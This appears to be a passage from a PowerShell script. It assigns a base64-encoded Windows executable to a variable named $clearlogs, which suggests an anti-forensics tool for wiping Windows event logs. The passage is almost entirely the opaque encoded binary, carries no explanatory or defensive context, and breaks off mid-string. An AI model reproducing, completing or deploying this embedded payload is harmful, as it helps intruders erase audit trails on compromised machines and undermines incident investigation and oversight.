$clearlogs = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAB12cLfMbisjDG4rIwxuKyM2aenjDC4rIyypKKMOrisjFOnv4w0uKyMMbit
jB+4rIzZp6aMGrisjFJpY2gxuKyMAAAAAAAAAABQRQAATAEDAEe3XzwAAAAAAAAAAOAADwELAQYA
AEAAAABAAAAAAAAADhYAAAAQAAAAUAAAAABAAAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAACQAAAA
EAAAAAAAAAMAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJxUAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAUAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA
Bj8AAAAQAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALAIAAAAUAAAABAAAABQAAAA
AAAAAAAAAAAAAABAAABALmRhdGEAAADcIQAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAwAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFWaEBuQABo
QGxAAP8VAFBAAIvwhfZ1UGh4YEAA6LAEAACDxASNRCQEVlZQaAAEAAD/FRBQQABQVmgAEwAA/xUU
UEAAi0wkBFFodGBAAOh/BAAAi1QkDIPECFL/FVxQQABqAeiVAwAAagBW/xUEUEAAhcB1U2hUYEAA
6FMEAACDxASNRCQEagBqAFBoAAQAAP8VEFBAAFBqAGgAEwAA/xUUUEAAi0wkBFFodGBAAOgfBAAA
i1QkDIPECFL/FVxQQABqAeg1AwAAaDBgQADoAAQAAIPEBFb/FQhQQABeWcOQU1ZXaOxhQADo5QMA
AGikYUAA6NsDAABoaGFAAOjRAwAAi0QkHIPEDDPbg/gCD4U1AQAAi0QkFL5gYUAAi3gEi8eKEIrK
OhZ1HITJdBSKUAGKyjpWAXUOg8ACg8YChMl14DPA6wUbwIPY/4XAdSehVGFAAIsNWGFAAIsVXGFA
AKNAbkAAiQ1EbkAAiRVIbkAA6bcAAAC+TGFAAIvHihCKyjoWdRyEyXQUilABiso6VgF1DoPAAoPG
AoTJdeAzwOsFG8CD2P+FwHUkoUBhQACLDURhQACKFUhhQACjQG5AAIkNRG5AAIgVSG5AAOtfvjhh
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
